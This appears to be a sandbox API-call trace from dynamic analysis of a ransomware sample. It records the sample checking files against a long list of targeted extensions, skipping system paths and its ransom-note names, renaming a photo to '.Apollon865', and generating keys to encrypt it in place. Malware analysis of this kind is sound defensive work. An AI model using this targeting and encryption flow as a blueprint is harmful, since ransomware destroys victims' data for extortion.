	[0087.359] lstrcmpiW (lpString1="CLj.jpg", lpString2="mdbhtml") returned -1
	[0087.359] lstrlenW (lpString="mdn") returned 3
	[0087.359] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0087.359] lstrlenW (lpString="mdt") returned 3
	[0087.359] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0087.359] lstrlenW (lpString="mfd") returned 3
	[0087.359] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0087.359] lstrlenW (lpString="mpd") returned 3
	[0087.359] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0087.359] lstrlenW (lpString="mrg") returned 3
	[0087.359] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0087.359] lstrlenW (lpString="mud") returned 3
	[0087.359] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0087.359] lstrlenW (lpString="mwb") returned 3
	[0087.359] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0087.359] lstrlenW (lpString="myd") returned 3
	[0087.359] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0087.359] lstrlenW (lpString="ndf") returned 3
	[0087.359] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0087.359] lstrlenW (lpString="nnt") returned 3
	[0087.359] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0087.359] lstrlenW (lpString="nrmlib") returned 6
	[0087.360] lstrcmpiW (lpString1="Lj.jpg", lpString2="nrmlib") returned -1
	[0087.360] lstrlenW (lpString="ns2") returned 3
	[0087.360] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0087.360] lstrlenW (lpString="ns3") returned 3
	[0087.360] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0087.360] lstrlenW (lpString="ns4") returned 3
	[0087.360] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0087.360] lstrlenW (lpString="nsf") returned 3
	[0087.360] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0087.360] lstrlenW (lpString="nv") returned 2
	[0087.360] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0087.360] lstrlenW (lpString="nv2") returned 3
	[0087.360] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0087.360] lstrlenW (lpString="nwdb") returned 4
	[0087.360] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0087.360] lstrlenW (lpString="nyf") returned 3
	[0087.360] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0087.360] lstrlenW (lpString="odb") returned 3
	[0087.360] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0087.360] lstrlenW (lpString="odb") returned 3
	[0087.360] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0087.360] lstrlenW (lpString="oqy") returned 3
	[0087.360] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0087.360] lstrlenW (lpString="ora") returned 3
	[0087.360] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0087.360] lstrlenW (lpString="orx") returned 3
	[0087.360] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0087.360] lstrlenW (lpString="owc") returned 3
	[0087.360] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0087.360] lstrlenW (lpString="p96") returned 3
	[0087.360] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0087.360] lstrlenW (lpString="p97") returned 3
	[0087.360] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0087.360] lstrlenW (lpString="pan") returned 3
	[0087.360] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0087.361] lstrlenW (lpString="pdb") returned 3
	[0087.361] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0087.361] lstrlenW (lpString="pdm") returned 3
	[0087.361] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0087.361] lstrlenW (lpString="pnz") returned 3
	[0087.361] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0087.361] lstrlenW (lpString="qry") returned 3
	[0087.361] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0087.361] lstrlenW (lpString="qvd") returned 3
	[0087.361] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0087.361] lstrlenW (lpString="rbf") returned 3
	[0087.361] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0087.361] lstrlenW (lpString="rctd") returned 4
	[0087.361] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0087.361] lstrlenW (lpString="rod") returned 3
	[0087.361] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0087.361] lstrlenW (lpString="rodx") returned 4
	[0087.361] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0087.361] lstrlenW (lpString="rpd") returned 3
	[0087.361] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0087.361] lstrlenW (lpString="rsd") returned 3
	[0087.361] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0087.361] lstrlenW (lpString="sas7bdat") returned 8
	[0087.361] lstrcmpiW (lpString1="LCLj.jpg", lpString2="sas7bdat") returned -1
	[0087.361] lstrlenW (lpString="sbf") returned 3
	[0087.361] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0087.361] lstrlenW (lpString="scx") returned 3
	[0087.361] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0087.361] lstrlenW (lpString="sdb") returned 3
	[0087.362] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0087.362] lstrlenW (lpString="sdc") returned 3
	[0087.362] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0087.362] lstrlenW (lpString="sdf") returned 3
	[0087.362] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0087.362] lstrlenW (lpString="sis") returned 3
	[0087.362] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0087.362] lstrlenW (lpString="spq") returned 3
	[0087.362] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0087.362] lstrlenW (lpString="te") returned 2
	[0087.362] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0087.362] lstrlenW (lpString="teacher") returned 7
	[0087.362] lstrcmpiW (lpString1="CLj.jpg", lpString2="teacher") returned -1
	[0087.362] lstrlenW (lpString="tmd") returned 3
	[0087.362] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0087.362] lstrlenW (lpString="tps") returned 3
	[0087.362] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0087.362] lstrlenW (lpString="trc") returned 3
	[0087.362] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0087.362] lstrlenW (lpString="trc") returned 3
	[0087.362] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0087.362] lstrlenW (lpString="trm") returned 3
	[0087.362] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0087.362] lstrlenW (lpString="udb") returned 3
	[0087.362] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0087.362] lstrlenW (lpString="udl") returned 3
	[0087.362] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0087.362] lstrlenW (lpString="usr") returned 3
	[0087.362] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0087.362] lstrlenW (lpString="v12") returned 3
	[0087.362] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0087.362] lstrlenW (lpString="vis") returned 3
	[0087.362] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0087.362] lstrlenW (lpString="vpd") returned 3
	[0087.363] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0087.363] lstrlenW (lpString="vvv") returned 3
	[0087.363] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0087.363] lstrlenW (lpString="wdb") returned 3
	[0087.363] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0087.363] lstrlenW (lpString="wmdb") returned 4
	[0087.363] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0087.363] lstrlenW (lpString="wrk") returned 3
	[0087.363] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0087.363] lstrlenW (lpString="xdb") returned 3
	[0087.363] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0087.363] lstrlenW (lpString="xld") returned 3
	[0087.363] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0087.363] lstrlenW (lpString="xmlff") returned 5
	[0087.363] lstrcmpiW (lpString1="j.jpg", lpString2="xmlff") returned -1
	[0087.363] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\S4zg18tLwX5G0uLCLj.jpg.Apollon865") returned 87
	[0087.363] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\S4zg18tLwX5G0uLCLj.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\s4zg18tlwx5g0ulclj.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\S4zg18tLwX5G0uLCLj.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\s4zg18tlwx5g0ulclj.jpg.apollon865"), dwFlags=0x1) returned 1
	[0087.364] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\S4zg18tLwX5G0uLCLj.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\s4zg18tlwx5g0ulclj.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.365] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=80689) returned 1
	[0087.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.365] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.366] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.366] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.367] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e40, lpName=0x0) returned 0x15c
	[0087.367] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e40) returned 0x120000
	[0087.370] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.371] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.371] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.371] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.371] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.371] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.371] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.372] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0087.372] CloseHandle (hObject=0x15c) returned 1
	[0087.372] CloseHandle (hObject=0x9c) returned 1
	[0087.374] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.374] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.374] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.374] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc29080, ftCreationTime.dwHighDateTime=0x1d4c8a8, ftLastAccessTime.dwLowDateTime=0x1f6da0f0, ftLastAccessTime.dwHighDateTime=0x1d4c726, ftLastWriteTime.dwLowDateTime=0x1f6da0f0, ftLastWriteTime.dwHighDateTime=0x1d4c726, nFileSizeHigh=0x0, nFileSizeLow=0x17186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="s5bK7YBiAUe3.jpg", cAlternateFileName="S5BK7Y~1.JPG")) returned 1
	[0087.374] lstrcmpiW (lpString1="s5bK7YBiAUe3.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.374] lstrcmpiW (lpString1="s5bK7YBiAUe3.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0087.374] lstrcmpiW (lpString1="s5bK7YBiAUe3.jpg", lpString2=".") returned 1
	[0087.374] lstrcmpiW (lpString1="s5bK7YBiAUe3.jpg", lpString2="..") returned 1
	[0087.374] lstrcmpiW (lpString1="s5bK7YBiAUe3.jpg", lpString2="windows") returned -1
	[0087.375] lstrcmpiW (lpString1="s5bK7YBiAUe3.jpg", lpString2="bootmgr") returned 1
	[0087.375] lstrcmpiW (lpString1="s5bK7YBiAUe3.jpg", lpString2="temp") returned -1
	[0087.375] lstrcmpiW (lpString1="s5bK7YBiAUe3.jpg", lpString2="pagefile.sys") returned 1
	[0087.375] lstrcmpiW (lpString1="s5bK7YBiAUe3.jpg", lpString2="boot") returned 1
	[0087.375] lstrcmpiW (lpString1="s5bK7YBiAUe3.jpg", lpString2="ids.txt") returned 1
	[0087.375] lstrcmpiW (lpString1="s5bK7YBiAUe3.jpg", lpString2="ntuser.dat") returned 1
	[0087.375] lstrcmpiW (lpString1="s5bK7YBiAUe3.jpg", lpString2="perflogs") returned 1
	[0087.375] lstrcmpiW (lpString1="s5bK7YBiAUe3.jpg", lpString2="MSBuild") returned 1
	[0087.375] lstrlenW (lpString="s5bK7YBiAUe3.jpg") returned 16
	[0087.375] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\S4zg18tLwX5G0uLCLj.jpg") returned 76
	[0087.375] lstrcpyW (in: lpString1=0x119e674, lpString2="s5bK7YBiAUe3.jpg" | out: lpString1="s5bK7YBiAUe3.jpg") returned="s5bK7YBiAUe3.jpg"
	[0087.375] lstrlenW (lpString="s5bK7YBiAUe3.jpg") returned 16
	[0087.375] lstrlenW (lpString="Apollon865") returned 10
	[0087.375] lstrcmpiW (lpString1="BiAUe3.jpg", lpString2="Apollon865") returned 1
	[0087.375] lstrlenW (lpString=".dll") returned 4
	[0087.375] lstrcmpiW (lpString1="s5bK7YBiAUe3.jpg", lpString2=".dll") returned 1
	[0087.375] lstrlenW (lpString=".lnk") returned 4
	[0087.375] lstrcmpiW (lpString1="s5bK7YBiAUe3.jpg", lpString2=".lnk") returned 1
	[0087.375] lstrlenW (lpString=".ini") returned 4
	[0087.375] lstrcmpiW (lpString1="s5bK7YBiAUe3.jpg", lpString2=".ini") returned 1
	[0087.375] lstrlenW (lpString=".sys") returned 4
	[0087.375] lstrcmpiW (lpString1="s5bK7YBiAUe3.jpg", lpString2=".sys") returned 1
	[0087.375] lstrlenW (lpString="s5bK7YBiAUe3.jpg") returned 16
	[0087.375] lstrlenW (lpString="bak") returned 3
	[0087.375] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0087.375] lstrlenW (lpString="ba_") returned 3
	[0087.375] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0087.375] lstrlenW (lpString="dbb") returned 3
	[0087.375] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0087.375] lstrlenW (lpString="vmdk") returned 4
	[0087.375] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0087.375] lstrlenW (lpString="rar") returned 3
	[0087.375] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0087.376] lstrlenW (lpString="zip") returned 3
	[0087.376] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0087.376] lstrlenW (lpString="tgz") returned 3
	[0087.376] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0087.376] lstrlenW (lpString="vbox") returned 4
	[0087.376] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0087.376] lstrlenW (lpString="vdi") returned 3
	[0087.376] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0087.376] lstrlenW (lpString="vhd") returned 3
	[0087.376] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0087.376] lstrlenW (lpString="vhdx") returned 4
	[0087.376] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0087.376] lstrlenW (lpString="avhd") returned 4
	[0087.376] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0087.376] lstrlenW (lpString="db") returned 2
	[0087.376] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0087.376] lstrlenW (lpString="db2") returned 3
	[0087.376] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0087.376] lstrlenW (lpString="db3") returned 3
	[0087.376] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0087.376] lstrlenW (lpString="dbf") returned 3
	[0087.376] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0087.376] lstrlenW (lpString="mdf") returned 3
	[0087.376] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0087.376] lstrlenW (lpString="mdb") returned 3
	[0087.376] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0087.376] lstrlenW (lpString="sql") returned 3
	[0087.376] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0087.376] lstrlenW (lpString="sqlite") returned 6
	[0087.376] lstrcmpiW (lpString1="e3.jpg", lpString2="sqlite") returned -1
	[0087.376] lstrlenW (lpString="sqlite3") returned 7
	[0087.376] lstrcmpiW (lpString1="Ue3.jpg", lpString2="sqlite3") returned 1
	[0087.377] lstrlenW (lpString="sqlitedb") returned 8
	[0087.377] lstrcmpiW (lpString1="AUe3.jpg", lpString2="sqlitedb") returned -1
	[0087.377] lstrlenW (lpString="xml") returned 3
	[0087.377] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0087.377] lstrlenW (lpString="$er") returned 3
	[0087.377] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0087.377] lstrlenW (lpString="4dd") returned 3
	[0087.377] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0087.377] lstrlenW (lpString="4dl") returned 3
	[0087.377] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0087.377] lstrlenW (lpString="^^^") returned 3
	[0087.377] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0087.377] lstrlenW (lpString="abs") returned 3
	[0087.377] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0087.377] lstrlenW (lpString="abx") returned 3
	[0087.377] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0087.377] lstrlenW (lpString="accdb") returned 5
	[0087.377] lstrcmpiW (lpString1="3.jpg", lpString2="accdb") returned -1
	[0087.377] lstrlenW (lpString="accdc") returned 5
	[0087.377] lstrcmpiW (lpString1="3.jpg", lpString2="accdc") returned -1
	[0087.377] lstrlenW (lpString="accde") returned 5
	[0087.377] lstrcmpiW (lpString1="3.jpg", lpString2="accde") returned -1
	[0087.377] lstrlenW (lpString="accdr") returned 5
	[0087.377] lstrcmpiW (lpString1="3.jpg", lpString2="accdr") returned -1
	[0087.377] lstrlenW (lpString="accdt") returned 5
	[0087.377] lstrcmpiW (lpString1="3.jpg", lpString2="accdt") returned -1
	[0087.377] lstrlenW (lpString="accdw") returned 5
	[0087.377] lstrcmpiW (lpString1="3.jpg", lpString2="accdw") returned -1
	[0087.377] lstrlenW (lpString="accft") returned 5
	[0087.377] lstrcmpiW (lpString1="3.jpg", lpString2="accft") returned -1
	[0087.377] lstrlenW (lpString="adb") returned 3
	[0087.378] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0087.378] lstrlenW (lpString="adb") returned 3
	[0087.378] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0087.378] lstrlenW (lpString="ade") returned 3
	[0087.378] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0087.378] lstrlenW (lpString="adf") returned 3
	[0087.378] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0087.378] lstrlenW (lpString="adn") returned 3
	[0087.378] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0087.378] lstrlenW (lpString="adp") returned 3
	[0087.378] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0087.378] lstrlenW (lpString="alf") returned 3
	[0087.378] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0087.378] lstrlenW (lpString="ask") returned 3
	[0087.378] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0087.378] lstrlenW (lpString="btr") returned 3
	[0087.378] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0087.378] lstrlenW (lpString="cat") returned 3
	[0087.378] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0087.378] lstrlenW (lpString="cdb") returned 3
	[0087.378] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0087.378] lstrlenW (lpString="ckp") returned 3
	[0087.378] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0087.378] lstrlenW (lpString="cma") returned 3
	[0087.378] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0087.378] lstrlenW (lpString="cpd") returned 3
	[0087.378] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0087.378] lstrlenW (lpString="dacpac") returned 6
	[0087.378] lstrcmpiW (lpString1="e3.jpg", lpString2="dacpac") returned 1
	[0087.378] lstrlenW (lpString="dad") returned 3
	[0087.378] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0087.378] lstrlenW (lpString="dadiagrams") returned 10
	[0087.378] lstrcmpiW (lpString1="BiAUe3.jpg", lpString2="dadiagrams") returned -1
	[0087.378] lstrlenW (lpString="daschema") returned 8
	[0087.379] lstrcmpiW (lpString1="AUe3.jpg", lpString2="daschema") returned -1
	[0087.379] lstrlenW (lpString="db-journal") returned 10
	[0087.379] lstrcmpiW (lpString1="BiAUe3.jpg", lpString2="db-journal") returned -1
	[0087.379] lstrlenW (lpString="db-shm") returned 6
	[0087.379] lstrcmpiW (lpString1="e3.jpg", lpString2="db-shm") returned 1
	[0087.379] lstrlenW (lpString="db-wal") returned 6
	[0087.379] lstrcmpiW (lpString1="e3.jpg", lpString2="db-wal") returned 1
	[0087.379] lstrlenW (lpString="dbc") returned 3
	[0087.379] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0087.379] lstrlenW (lpString="dbs") returned 3
	[0087.379] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0087.379] lstrlenW (lpString="dbt") returned 3
	[0087.379] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0087.379] lstrlenW (lpString="dbv") returned 3
	[0087.379] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0087.379] lstrlenW (lpString="dbx") returned 3
	[0087.379] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0087.379] lstrlenW (lpString="dcb") returned 3
	[0087.379] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0087.379] lstrlenW (lpString="dct") returned 3
	[0087.379] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0087.379] lstrlenW (lpString="dcx") returned 3
	[0087.379] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0087.379] lstrlenW (lpString="ddl") returned 3
	[0087.379] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0087.379] lstrlenW (lpString="dlis") returned 4
	[0087.379] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0087.379] lstrlenW (lpString="dp1") returned 3
	[0087.379] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0087.379] lstrlenW (lpString="dqy") returned 3
	[0087.379] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0087.379] lstrlenW (lpString="dsk") returned 3
	[0087.379] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0087.379] lstrlenW (lpString="dsn") returned 3
	[0087.380] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0087.380] lstrlenW (lpString="dtsx") returned 4
	[0087.380] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0087.380] lstrlenW (lpString="dxl") returned 3
	[0087.380] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0087.380] lstrlenW (lpString="eco") returned 3
	[0087.380] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0087.380] lstrlenW (lpString="ecx") returned 3
	[0087.380] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0087.380] lstrlenW (lpString="edb") returned 3
	[0087.380] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0087.380] lstrlenW (lpString="epim") returned 4
	[0087.380] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0087.380] lstrlenW (lpString="fcd") returned 3
	[0087.380] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0087.380] lstrlenW (lpString="fdb") returned 3
	[0087.380] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0087.380] lstrlenW (lpString="fic") returned 3
	[0087.380] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0087.380] lstrlenW (lpString="flexolibrary") returned 12
	[0087.380] lstrcmpiW (lpString1="7YBiAUe3.jpg", lpString2="flexolibrary") returned -1
	[0087.380] lstrlenW (lpString="fm5") returned 3
	[0087.380] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0087.380] lstrlenW (lpString="fmp") returned 3
	[0087.380] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0087.380] lstrlenW (lpString="fmp12") returned 5
	[0087.380] lstrcmpiW (lpString1="3.jpg", lpString2="fmp12") returned -1
	[0087.380] lstrlenW (lpString="fmpsl") returned 5
	[0087.380] lstrcmpiW (lpString1="3.jpg", lpString2="fmpsl") returned -1
	[0087.380] lstrlenW (lpString="fol") returned 3
	[0087.381] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0087.381] lstrlenW (lpString="fp3") returned 3
	[0087.381] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0087.381] lstrlenW (lpString="fp4") returned 3
	[0087.381] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0087.381] lstrlenW (lpString="fp5") returned 3
	[0087.381] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0087.381] lstrlenW (lpString="fp7") returned 3
	[0087.381] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0087.381] lstrlenW (lpString="fpt") returned 3
	[0087.381] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0087.381] lstrlenW (lpString="frm") returned 3
	[0087.381] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0087.381] lstrlenW (lpString="gdb") returned 3
	[0087.381] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0087.381] lstrlenW (lpString="gdb") returned 3
	[0087.381] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0087.381] lstrlenW (lpString="grdb") returned 4
